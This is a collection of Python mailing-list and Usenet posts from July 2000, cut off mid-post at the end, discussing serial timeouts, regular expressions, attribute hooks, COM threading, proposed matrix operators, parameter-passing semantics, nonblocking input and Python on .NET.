In article <1zIc5.1394$6E.263441 at ptah.visi.com>, Eric Hopper wrote:
>In article <8kuvg0$kg2$1 at nnrp1.deja.com>, julesk24 at my-deja.com wrote:
>>
>> 1) Is there any (easy) way for me to cause the thread to exit
>> (not just join the processes) after a timeout on a read?
>
>I believe you can start the thread as a daemon thread and not
>have the join problem.  When the thread exits, it just
>disappears and doesn't wait for its parent thread to notice.
>
>I'm not sure how to start it as a daemon thread.
>
>> 2) Is there a better way of reading for data (without starting
>> my own thread for the read process and then trying to exit out
>> of the thread after a period of time)?
>
>Yes.  Use a select(2), or poll(2) based mechanism.  I believe
>the asyncore module handles this for you.  I will also be
>adding a python wrapper to my C++ StreamModule
>(http://www.sourceforge.net/projects/strmod) system someday,
>and that should also nicely handle the problem.

You can use select/poll as Eric suggested (with appropriate
timeout) or you can configure the serial driver itself to
timeout by setting VMIN and VTIME appropriately. If you want to
do this, take a look at the Linux Serial-Programming-HOWTO.
IIRC, all of the termio stuff maps pretty much directly into
Python.

I'd start with select/poll and its timout.

--
Grant Edwards                   grante             Yow!  I'm DESPONDENT... I
                                  at               hope there's something
                               visi.com            DEEP-FRIED under this
                                                   miniature DOMED STADIUM...


From max at alcyone.com  Fri Jul 28 21:40:11 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 18:40:11 -0700
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com> <slrn8o3tar.49c.grey@teleute.rpglink.com> <39822757.A5803B9B@alcyone.com> <slrn8o4af3.7dm.grey@teleute.rpglink.com>
Message-ID: <398235FB.8027E55A@alcyone.com>

Steve Lamb wrote:

>     Pardon my french but... no shit sherlock.  That has been my point
> all the
> long.  I feel that such a thing, as is somewhat evident in Perl, is
> not the
> bad thing that some people in Python make it out to be.

The point is that what is good for Perl is _not_ good for Python.  It
would be a bad idea to implement such a thing for Python, which is what
you seem to be advocating.

> I never once
> claimed
> that Python did it.

I know that, but you're suggesting that you think Python should do this.
And if you aren't, what are you posting about this in comp.lang.python
for?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ Everybody's playing the game / But nobody's rules are the same
\__/ Florence, _Chess_
    Erik Max Francis' bookmarks / http://www.alcyone.com/max/links/
 A highly categorized list of Web links.


From chibaA at TinterlogD.Tcom  Tue Jul  4 20:24:41 2000
From: chibaA at TinterlogD.Tcom (chibaA at TinterlogD.Tcom)
Date: Wed, 05 Jul 2000 00:24:41 GMT
Subject: regex's
Message-ID: <39627fa7.705005544@news1.on.sympatico.ca>

Hi...  I'm having a bit of a brain-tease...  I have the following code
(example):

import re

str = '123'
if re.compile('1').match(str):
	print "matched 1"
if re.compile('2').match(str):
	print "matched 2"
if re.compile('3').match(str):
	print "matched 3"

-------------------

I would think that this code would print 'matched 1 matched 2 matched
3'...  But in this case, it would only printed "matched 1".  Any
reasons?  Is there any way to have it print all three (since the
conditions seem to be true)?

Thanks in advance!

kc.


From aahz at netcom.com.bbs  Mon Jul 17 14:40:03 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 17 Jul 2000 18:40:03 GMT
Subject: Tutorials at IPC9
Message-ID: <3bRLW4$kSB@openbazaar.net>

[p&e in case Garry's at OSCON and not reading c.l.p this week]

In article <39591877.535A96BC at sage.att.com>,
Garry Hodgson  <garry at sage.att.com> wrote:
>
>I'm not looking for specific topics per se (although I'm open to
>suggestions), but rather what kind of classes would be useful.  To get
>things going, here are some thoughts I had on what might be good:
>
>More in-depth tutorials, perhaps something that might build a complete
>application in Tkinter or Zope, giving a sense of real implementation
>issues.  Perhaps even a two part class: half lecture and half
>instructor-led implementation of some significant, but manageable,
>project.
>
>Overview courses, to compare and contrast various alternatives for a
>given task.  Like, say, a course that would show how to use Tkinter,
>wxPython, PyQt, and PyGTK to solve user interface problems.  This could
>be either a survey of features, or a comparison of apps built in each.
>I'd prefer the latter; what do you think?

I think it's pretty hard to get a general read on what people prefer in
terms of style.  So much depends on the individual person taking the
class, as well as the instructor.  Most of the really good ideas require
having machines available -- do you know at this point that you'll have
the resources for that?

In general, what bothers me about most classes is that they're too dang
slow -- the instructor is too willing to bog the class down for the
benefit of the slowest person in the class.  When I do presentations,
people are often surprised at how much material I cover in a short
period of time, but I rarely get complaints, because I usually cover the
material multiple times in slightly different ways, each time going a
little deeper into the details.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From richard at cogsci.ed.ac.uk.bbs  Sun Jul 16 15:30:20 2000
From: richard at cogsci.ed.ac.uk.bbs (richard at cogsci.ed.ac.uk.bbs)
Date: 16 Jul 2000 19:30:20 GMT
Subject: Changing the class of an instance
Message-ID: <3bQXMi$iu8@openbazaar.net>

In article <8kq8kc$guk$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com> wrote:

>    So it's something like the value of infoset.__class__
>changes when you call infoset.validate(schema)?

Very like that - it's changing the class of some objects in the
infoset, not the infoset itself.

>but I really don't see the point
>to changing the class of the object instead of just constructing
>a new object.

None, except to directly model the XML Schema specification which
talks in terms of adding properties to info items in an existing
infoset.

> Like you pass a WellFormedInfoset to something
>or call some method of one and get back an instance of a
>subclass of ValidInfoset.

Some other XML transformations (eg style-sheet application) are
defined as infoset->infoset functions in that way, but this one isn't.

Sometimes the aim of a program isn't (or isn't just) to calculate a
result reliably, but to do it in a particular way to illustrate and
explore an algorithm.

-- Richard
--
Spam filter: to mail me from a .com/.net site, put my surname in the headers.

"The Internet is really just a series of bottlenecks joined by high
speed networks." - Sam Wilson


From mfletch at tpresence.com  Thu Jul 20 01:23:50 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Thu, 20 Jul 2000 01:23:50 -0400
Subject: Python in game development?
Message-ID: <CC59868A0A76D311B1F50090277B321C1F343D@VRTMAIL>

As a minor note, my version of micro-threads there is fairly old, my most
recent version is available at http://members.home.com/mcfletch/programming/
.  It includes a considerable number of bug fixes versus uthread6.py .  The
differences between the various modules are rather esoteric.  My work was
primarily focused on making suspended threads more efficient.  Similarly
functional changes were then made to an older version of the code, but
neither of these newer versions has been officially "blessed".

I use micro-threads extensively in programming multi-user systems,
particularly collaborative virtual environments.  In effect, the
micro-threading allows me to create remote procedure call systems which
simply suspend the micro-thread until the response is received from the
remote system (with potentially thousands of simultaneous calls).  This
approach demands more efficient sleeping, hence my altered version of the
library.

Caveat: Unless someone has fixed the bug without reporting it, all of the
micro-threads systems currently share a memory leak, it has not become
critical for my applications as of yet.

Enjoy yourselves,
Mike

-----Original Message-----
From: wware at world.std.com [mailto:wware at world.std.com]
Sent: Thursday, July 20, 2000 12:12 AM
To: python-list at python.org
Subject: Re: Python in game development?
...
http://world.std.com/~wware/uthread.html
...



From MarkH at ActiveState.com  Thu Jul 20 06:54:13 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 20 Jul 2000 10:54:13 GMT
Subject: Exception when creating com-object in thread
References: <XFMail.20000719222515.sekter@matavnet.hu>
Message-ID: <pTAd5.7249$4p3.51859@news-server.bigpond.net.au>

"Arpad Kiss" <sekter at matavnet.hu> wrote in message
news:XFMail.20000719222515.sekter at matavnet.hu...
> Hi,
> In every thread you have to call pythoncom.CoInitialize at first(before
any
> other COM API call), but in the main thread
> CoInitialize is called by the Python framework automaticly(if i am
right..).

You are correct.  You may also call CoInitializeEx() if you want the
thread in the free-threading apartment.  COM threading models are beyind
the scope of this newgroup (but are in the scope of Andy and my book :-)

Mark.





From sean at digitome.com  Thu Jul 20 15:08:05 2000
From: sean at digitome.com (Sean Mc Grath)
Date: Thu, 20 Jul 2000 19:08:05 GMT
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>
Message-ID: <397746c9.39446991@news.iol.ie>

>I think merge makes sense,
>(and I don't really have a problem with zip()), but the metaphor that
>most closely resembles what it does is braid(), as in hair..
>
Two suggestions:
	1) raff
	2) twingle

"raff" is an invented verb form of "raffia", fibers of which are used
to weave hats, baskets etc. (<nerd>Spot the Monty Python
connection?</nerd>)

"twingle" just sounds beautiful...





From see at my.signature  Mon Jul 24 23:30:48 2000
From: see at my.signature (Greg Ewing)
Date: Tue, 25 Jul 2000 15:30:48 +1200
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature> <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au> <397B6319.27A6438A@nceas.ucsb.edu> <m34s5gqwt3.fsf@brant.geog.ubc.ca>
Message-ID: <397D09E8.86BB4A20@my.signature>

Phil Austin wrote:
> 
> %%                       Arithmetic Operators (base)
> %*%                      Matrix Multiplication (base)
> %/%                      Arithmetic Operators (base)
> %in%                     Value Matching (base)
> %o%                      Outer Product of Arrays (base)
> %x%                      Kronecker Product of Arrays (base)
> &                        Logical Operators (base)
> &&                       Logical Operators (base)

I think this must be the *worst* looking syntax that's
been proposed so far...

I'm beginning to think that simply adding @ for matrix
multiplication, and nothing else, is the least of all
the evils being considered.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From dale at out-think.NOSPAMco.uk  Thu Jul  6 08:58:45 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Thu, 6 Jul 2000 13:58:45 +0100
Subject: getattr and setattr
Message-ID: <8k1vqo$3e9$1@supernews.com>

I'm still trying to get to grips with object programming in Python and
finding decent documentation unbelievably hard to track down.

I eagerly set about the tutorial but found it was  lacking in - well - just
about every department.

I can't find any meat on __getattr__ and __setattr__.

These two special object functions don't seem to be very well documented
anywhere. (Please prove me wrong!)

I can see how to handle a special case in __getattr__ with something like:

class wibble
        def __getattr__(name):
                if name == 'fred':
                        return 1
                else:
                        # what?

But what if it's not the special case(s). How do I return an arbitrary
attribute? Do I do something like:

            return self.__dict__[name]

Or is there something a bit more transparent?

Any help, as always, gratefully received.

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants





From pete at visionart.com  Thu Jul 20 17:15:29 2000
From: pete at visionart.com (Pete Shinners)
Date: Thu, 20 Jul 2000 14:15:29 -0700
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu>
Message-ID: <8l7qol$91u$1@la-mail4.digilink.net>

> (*)  outer product
> (.)  inner product
> (|)  matrix solve
> (**) matrix power


heh, in an effort to keep this discussion from being "half-assed" (HA)
i'd like to voice that i also think this syntax is very useful
and very clean. i'd be glad to see it come around for the next
big release

but while we're at it, i would hope that we don't overlook the
potential of elementwise assignment operators. sometimes those
matrices can get rather large, and rather than create a new
temporary matrix for every operation, it would be nice to have
it done "in place"

MatrixA (*)= MatrixB
MatrixA (.)= MatrixB

has this taken things too far? with python2 coming with the
"standard" assignment operators, i'd love to see these ones
come along with the pack






From jeremy at beopen.com  Sun Jul 30 19:52:53 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 30 Jul 2000 19:52:53 EDT
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com>
Message-ID: <blk8e3npeh.fsf@bitdiddle.concentric.net>

Here are two other examples that may illuminate Python's parameter
passing mechanism.

The C++ Programming Language (Stroustrup), 3rd ed:

The section of references (5.5, p. 97-100) has a simple example of
parameter passing with references.

    void increment(int& aa) { aa++; }

    void f()
    {
        int x = 1;
        increment(x); // x = 2
    }

There is clearly no feature in Python to accomplish the same thing.
The call-by-reference allows the variable aa in increment to serve as
an alternate name for x in f.  A change to aa results in a change to
x.

"A History of Clu" (Liskov) in History of Programming Languages
(Bergin & Gibson, eds.), p. 483-4:

"In fact, CLU procedures do not share variables at all.  In addition to
there being no free variables, there is no call-by-reference.  Instead
arguments are passed 'by object'; the (pointer to the) object
resulting from evaluating the actual argument expresssion is assigned
to the formal.  (Thus pasing a parameter is just doing an assignment to
the formal.)  Similarly, a pointer to a result object is returned to
the caller.  We have found that ruling out shared variables seems to
make it easier to reason about programs.

A CLU procedure can have side effects only if the argument objects can
be modified (because it cannot access the caller's variables).  This
lead to the concept of 'mutable' objects.  Every CLU object has a
state.  The sate of some objects, such as integers and strings, cannot
change; these objects are 'immutable.'  Mutable objects (e.g., records
and arrays) can have a succession of states. [Discussion of whether
CLU should have opted for only immutable objects ala pure Lisp
omitted.]

CLU assignment causes sharing: after executing 'x := y,' variables x
and y both refer to the same object.  If this object is immutable,
programs cannot detect the sharing, but they can if the shared object
is mutable, because a modification made via one variable will be
visible via the other one."

Given this extend description of CLU parameter passing, I believe it
would be fair to say that Python is also a call-by-object language.

Jeremy

-- Jeremy Hylton <http://www.python.org/~jeremy/>


From aahz at netcom.com.bbs  Mon Jul 17 13:30:02 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 17 Jul 2000 17:30:02 GMT
Subject: Global & Importing issues.... Newbie
Message-ID: <3bRJeQ$lnc@openbazaar.net>

In article <963849878.7647.0.nnrp-13.c3ad12d2 at news.demon.co.uk>,
Toby <t.harris at robinsons.co.uk> wrote:
>I have a simple requirement for a second module to access a global variable
>stored in the first (main) module.
>
>I can reproduce my problem with the following 2 modules...
>
>Mod1.PY >>>
>import Mod2
>
>myGlobal = None
>
>if __name__ == "__main__":
>
>  myGlobal = 100
>
>  Mod2.DoPrint()
>#endif
>#endmodule
>
>
>Mod2.PY >>>
>import Mod1
>
>def DoPrint():
>  print Mod1.myGlobal
>#enddef
>#endmodule

What's wrong with

  Mod2.DoPrint(myGlobal)

?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From collins at seal.aero.org  Thu Jul 20 15:53:20 2000
From: collins at seal.aero.org (Jeff Collins)
Date: Thu, 20 Jul 2000 12:53:20 -0700
Subject: Embedded System - Trapping Errors
In-Reply-To: <8l7c11$u0b$1@nnrp1.deja.com>
References: <8l7c11$u0b$1@nnrp1.deja.com>
Message-ID: <14711.21538.893099.125349@malibu.aero.org>

StringIO provides a file object interface to string buffers.  In
python, you can do the following:
>>> import sys
>>> stderr_save = sys.stderr
>>> import StringIO
>>> sys.stderr = StringIO.StringIO()
>>> float("jeff")
>>> sys.stderr.getvalue()
'Traceback (most recent call last):\012  File "<stdin>", line 1, in ?\012ValueError: invalid literal for float(): jeff\012Traceback (most recent call last):\012  File "<stdin>", line 1, in ?\012AttributeError: \'StringIO\' instance has no attribute \'getresult\'\012'
>>> sys.stderr = stderr_save
>>> float("jeff")
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ValueError: invalid literal for float(): jeff
>>> 

To get the equivalent working in C, try using cStringIO.c (C-based
replacement for StringIO.py) - there is a CAPI available.  Set up the
stderr attribute of the sysmodule with a cStringIO instance to
capture the error and parse the contents when PyRun_AnyFile()
completes.

I haven't tried the above, but I hope it helps.

Jeff


nelson_chenkin at seagate.com writes:
 > I am embedding Python on a machine that does not have an output device.
 > A Python script file is sent down to this machine from a host via an
 > Ethernet connection and is then executed remotely. This is all working
 > like a charm.
 > 
 > Now I want to start intercepting script errors, converting the errors to
 > an format of my own design, then send them back up to the host machine
 > where they can be reported to the user.
 > 
 > Can this be done? I have stepped through the code in PyArg_ParseTuple()
 > to see what happpens when I intentionally provide the wrong number of
 > arguments. It seems like all this error handling is hard coded. There is
 > not any indirection that allows me to install an error handling hook.
 > 
 > I am running the script using PyRun_AnyFile(). By the time that returns
 > to me the error has been cleared - the hardcoded call to PyErr_Print()
 > which then calls PyErr_Fetch() clears it.
 > 
 > Obviously I can change the source code, but this presents a problem when
 > new Pythons versions are released.
 > 
 > Any help would be appreciated.
 > Thanks,
 > NC
 > 
 > 
 > Sent via Deja.com http://www.deja.com/
 > Before you buy.
 > -- 
 > http://www.python.org/mailman/listinfo/python-list
 > 



From nolan_d at bigfoot.com  Wed Jul  5 12:53:02 2000
From: nolan_d at bigfoot.com (Nolan Darilek)
Date: Wed, 05 Jul 2000 11:53:02 -0500
Subject: Nonblocking IO?
Message-ID: <E139sQ2-0002Vi-00@localhost>

I'm trying to do nonblocking IO in a client application which I'm
writing. The client is text-based and line-oriented, and the cmd.Cmd
class does exactly what I want. (Well, almost exactly.) The class uses
raw_input(), which appears to block. I also moved the code which reads
from the connection into a thread, but this introduces a few more
problems; the output is intermingled with the input.

The most obvious solution is to use curses, but this makes my program
much more complex than it needs to be. Since cmd does almost exactly
what I want it to do, I'd much rather change the Cmd class than add
curses. I've seen code written in C which does what I'd like to do
(Micq, for example, has the interface which I'm aiming for, yet it
doesn't use curses/ncurses.) So, is it somehow possible to either a)
make raw_input nonblocking or b) use some other nonblocking IO method?
And, is it then possible to ensure that the output from the socket
isn't intermingled with the input? If I do nonblocking IO, I'm
assuming that it's simply a matter of printing a newline, my message,
and then reprinting the prompt while stuffing the existing input back
into the input buffer. (Of course, I'd rather delete the existing line
first to ensure that the app scrolls cleanly, but getting nonblocking
input to work would be a great step in that direction. :) Can anyone offer any suggestions?

Please CC me with any replies; I'm currently not subscribed to this
list, and I don't have usenet access for another week. Thanks.



From blinocac1 at home.com  Thu Jul 13 14:14:56 2000
From: blinocac1 at home.com (David L. Heald Jr.)
Date: Thu, 13 Jul 2000 18:14:56 GMT
Subject: Compiling Python
References: <20000711054522.28720.qmail@web3406.mail.yahoo.com> <Bj4b5.889$O47.17397@news6-win.server.ntlworld.com>
Message-ID: <AGnb5.20281$6y5.16202998@news2.rdc2.tx.home.com>

Well I found a P2C translator, but I've yet to test it. If it works I'll
post the url.
"Nicholas Cloy" <nick at ex-inferis.freeserve.co.uk> wrote in message
news:Bj4b5.889$O47.17397 at news6-win.server.ntlworld.com...
> I downloaded the installer at
> http://www.faqts.com/knowledge-base/view.phtml/aid/3111/fid/244/lang/ but
> the program executes in a msdos window, is there anyway to compile a
python
> script into an file ythat will run in a windows 98 gui?
>
> --
> _________
>
>      Nick at ex-inferis.freeserve.co.uk
>      Icq no 69088298
>                 _________________________
> "Ahmed Ahmed" <tttok_2000 at yahoo.com> wrote in message
> news:20000711054522.28720.qmail at web3406.mail.yahoo.com...
> > Look here
> > http://www.faqts.com/knowledge-base/view.phtml/aid/3111/fid/244/lang/
> >
> > --- "David L. Heald Jr." <blinocac1 at home.com> wrote:
> > > Yeah, the latter. I like Python, but I'm interested
> > > in taking my programs
> > > with me to other computers that don't have python.
> > > "Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in
> > > message
> > > news:9m5lms0bt9fhiir6c2vju9ti4hvvv473kb at 4ax.com...
> > > > On Mon, 10 Jul 2000 21:29:09 GMT, "David L. Heald
> > > Jr."
> > > > <blinocac1 at home.com> declaimed the following in
> > > comp.lang.python:
> > > >
> > > > > Does anyone know if there is a compiler
> > > available anywhere for python
> > > for
> > > > > win32?
> > > > >
> > > > Pardon?
> > > >
> > > > A compiler with which to build Python from source,
> > > or
> > > >
> > > > A compiler which builds native executables from
> > > Python programs?
> > > >
> > > >
> > > > For the latter, I don't think one exists on any
> > > platform --
> > > > freeze may be the closest equivalent (as I recall,
> > > not having used it,
> > > > it embeds Python byte-code into a binary with the
> > > Python interpreter).
> > > >
> > > > For the former... I think folks are working on
> > > getting the
> > > > downloadable Borland C to compile it, the M$ VC
> > > should handle it with no
> > > > problems, and gcc probably can manage it.
>
>
>




From rgparker at west.net  Mon Jul 17 20:59:02 2000
From: rgparker at west.net (Randall Parker)
Date: Tue, 18 Jul 2000 00:59:02 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com>
Message-ID: <MPG.13dd4ca0d706c235989829@news.onlynews.com>

Mark,

Do you envision non-MS affiliated groups writing IL-to-native compilers 
for other (non-Windows) operating systems? 

In other words, will this IL stay as a Windows-only sort of deal? 

Also, could Java be compiled to IL if someone wanted to write a compiler 
for it?

In news:<8kld9h$489$1 at nnrp1.deja.com>, MarkH at ActiveState.com says...
> In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
>   "Neil Hodgson" <neilh at scintilla.org> wrote:
> >    Now that Microsoft have revealed their Intermediate Language (IL)
> >    virtual machine, are we going to see a version of Python that
> >    compiles directly to IL? Or will Python byte codes still be
> >    interpreted by C code?
> 
> Directly to IL - although there is still a runtime that handles some of
> the Python semantics.
> 
> This new compiler could be compared, conceptually, with JPython - it is
> a completely new implementation of Python.  It has a compiler that
> generates native Windows .DLL/.EXE files.  It uses a runtime that
> consists of a few thousand lines of C# (C-Sharp) code.  The Python
> programs can be debugged at the source level with Visual Studio 7, as
> well as stand-alone debuggers for this environment.  Python can sub-
> class VB or C# classes, and vice-versa.
> 
> Unfortunately, there will not be a public release of their SDK for a
> couple of months - so the only people able to use this compiler are
> people who attended the PDC, and hence have the pre-beta SDK on their
> conference CDs.
> 
> The compiler is looking pretty reasonable.  pystone.py (amongst others,
> of course) compiles and runs.
> 
> However, this should be quite exciting for the Python community.  The
> general feel of the conference here is that the MS .NET technology is
> exciting and a good thing.  I predict that the Windows community will
> embrace this technology, and having Python be a first-class citizen is a
> good thing!  It _is_ a radical change.
> 
> Future work on this compiler will be under the ActiveState banner.
> However, the compiler and the runtime are all open source.  The
> compiler is written in CPython, and uses win32com to get at the
> Reflection::Emit APIs provided by .NET.  All the existing work has been
> done mainly by me, with some code and advice from Greg Stein.  Now the
> NDA is lifted, I hope (some of) the Python community will get behind
> this, and take advantage of the open-sourceness of the compiler and
> runtime, and help us turn this into an excellent language for this
> environment.
> 
> All good stuff (IMO, of course)
> 
> None of this is speaking for ActiveState - just my personal opinion.
> 
> Mark (still at the PDC!)
> 
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.
> 


From cjc26 at nospam.cornell.edu  Tue Jul 25 20:30:35 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Wed, 26 Jul 2000 00:30:35 GMT
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk> <397CB3EA.15F5514F@prescod.net> <200007250053.RAA03842@rocket.knowledgetrack.com> <397CFDAC.38A22DAF@prescod.net>
Message-ID: <slrn8nschv.1bud.cjc26@synecdoche.sowrong.org>

* Paul Prescod <paul at prescod.net> menulis:
| 
| I think name-based binary operators are actually pretty neat and can be
| used very Pythonically. IMO, they are the right compromise between
| terseness and legibility.

They sorta remind me of Smalltalk's keyword messages:

startTime addTime: delta                    (adds delta to startTime)
Date daysInMonth: #February forYear: 2000   (returns 28)

The parser can tell the keywords apart from the arguments because the
keywords all end in a colon.  They're also more readable than regular
method calls; for example, the second example in Python would look
something like this:

Date.daysInMonth("February", 2000)        or possibly
Date.daysInMonth("February", year=2000)

Guido's time machine must've gone really far back for this one;
Smalltalk dates from the 70's. :)


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 16:47:17 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 16 Jul 2000 20:47:17 GMT
Subject: "Intellisense" drop-down...
Message-ID: <pbpc5.89249$W35.2041585@news20.bellglobal.com>

I have found no way of defining new key combinations to select the currently
highlighted word in the "Intellisense" drop-down list.  For example:

import win32api
win32api._
        | AbortSystemShutdown |
        | Apply               |
        | Beep                |
        -----------------------

I hightlight "Apply" and the only key I can use to make "Apply" appear and
the list to disappear is "Tab".  I want other keys to trigger this.  The
default.cfg file only lists this:

Tab               = TabKey

...which doesn't mean much to me.  I mean, I don't want to add "Enter =
TabKey", since that's just silly.

Anyone??  Bueller??

Thanks!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III




From hzhu at localhost.localdomain.bbs  Mon Jul 17 15:40:06 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 19:40:06 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNB6$kq1@openbazaar.net>

On Mon, 17 Jul 2000 13:24:30 -0600, Bjorn Pettersen <bjorn at roguewave.com> wrote:
>> As to the claim that additional operators for linear algebra is somehow
>> comparable to the special syntaxes/quirks of various programming languages,
>> no real argument has been presented so far.  It's more like: If I don't care
>> and don't use such things, they must belong to a special domain and be
>> somehow comparable to some other things that I do know and dislike.
>
>On the contrary. The argument is something like the following:
>
> - Python is a general purpose language, and as such it can't
>   support special case syntax for Matrix/cgi/xml/db programming.
>   (special syntax has previously been requested for both cgi and
>   db programming).

I don't see what this tells me about Matrix being comparable to cgi/xml/db,
especially on the level of syntax requirements.

>If you really want to convince people, I would like to see examples of
>how adding these operators would make working in other domains easier
>(directly, not through translation through linear algebra).

I'm not sure what this is asking for. My first impression is similar to
"show me an example of how using C syntax would make working in assembly
easier (directly, not by compiling a C program)".

On second thought, maybe you are thinking about situations like: when doing
web programming you want to add server statistics and put the graphics on
the page?  Of course it helps, but you have to translate the numbers into
linear algebra.  I don't think these arguments leading anywhere.

Or maybe you want this?

a = ["Alice", "Bob"]
b = " is "
c = ["a girl", "a boy"]
d = a .+ b .+ c

If the request had been: if you really want to convince people that string
literals are worth having in the language, you need to give examples of it
make working in other domains easier (directly, not through translating
through strings), I would have exactly the same reaction.  Strings are good
for text.  Even though you can use regular expression to calculate pi to any
place you want, which is another domain, that's not the reason strings are
the language.

The morale of the arguement is: requiring every syntax to be useful in every
domain is too extreme and not quite useful.  But considering exactly what
the domain is and exactly how it might be used may help.

Huaiyu


From m.faassen at vet.uu.nl  Thu Jul 27 13:46:38 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 17:46:38 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <8lpbs3$oac$2@newshost.accu.uu.nl> <cplmynjzn9.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <8lpshu$hsu$1@newshost.accu.uu.nl>

Guido van Rossum <guido at python.org> wrote:
[Martijn asked:]
>> Some hinting as to the 'why' of this confusion in your future announcement
>> would be useful too.

> Sorry, but I really can't help you there.  The decision to change the
> license was made by CNRI, and I can't speak for them.  It would be
> good to request an independent explanation from CNRI, rather than
> expect me to guess what their motivations are.

Okay, but it was initially quite unclear for me and I presume others to figure
out what was going on in the first place. I'm not even sure what form
my 'why' question to CNRI would take:

  Dear CNRI, why did you do this? What'd you do exactly? How come
  you could do it? What's up with these version numbers? Why do you
  want 1.6? What's the deal with the license?

Quite involved, I guess. :)

Perhaps:

  Dear CNRI, what's up with Python??

Anyway, I'll stop breaking my poor little neurons over all of this
right now, assuming it's all resolving itself (as it looks like).
Let's worry about language design instead. We've had a Python
Luddite thread and I do feel some sympathy with that point of view, for
instance. :)

And what about this silly indentation and dynamic typing?? We need
{ and } and type declarations everywhere! Besides, what's up with this
case sensitivity business?

This-summary-of-the-community-last-months-brought-to-you-by

Martijn

PS: oops! that should've been '-ly', not '-by'!
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From oivvio at cajal.mbb.ki.se  Wed Jul 26 09:14:01 2000
From: oivvio at cajal.mbb.ki.se (Oivvio Polite)
Date: Wed, 26 Jul 2000 15:14:01 +0200
Subject: polymorphism  (was  Re: Type checking in python?)
Message-ID: <8lmo4i$s28$1@news.kth.se>

Hi all.

I'm building a class with a uniform interface and I'm trying to come to
terms with polymorphism in python.

For instance I want the constructor to take either a filename, a file object
or a database connection object.
In C++ this would be done using three different constructors. (I'm not quite
sure about this, cause I don't know C++ :-)
But how should one do it in python.

My first idea was something like this:

class myclass:
    def __init__:(self, arg):
        if type(arg) == types.StringType:
            #check if that's a filename and do the right initialization.
        elif type(arg) == types.FileType:
            #do the initialization in an other way
        # and so on

Looking at resent posts I found a thread on type checking that contained
this unsettling post:

<paul at prescod.net> wrote:
> Let me also point out that in many cases, this style of programming
> would be frowned upon by serious Python programmers. For instance, if
> you check that something is a string, your code will complain when it is
> handed a Unicode string, even though it would probably work fine. If you
> check that it is an open file, then your code probably will complain
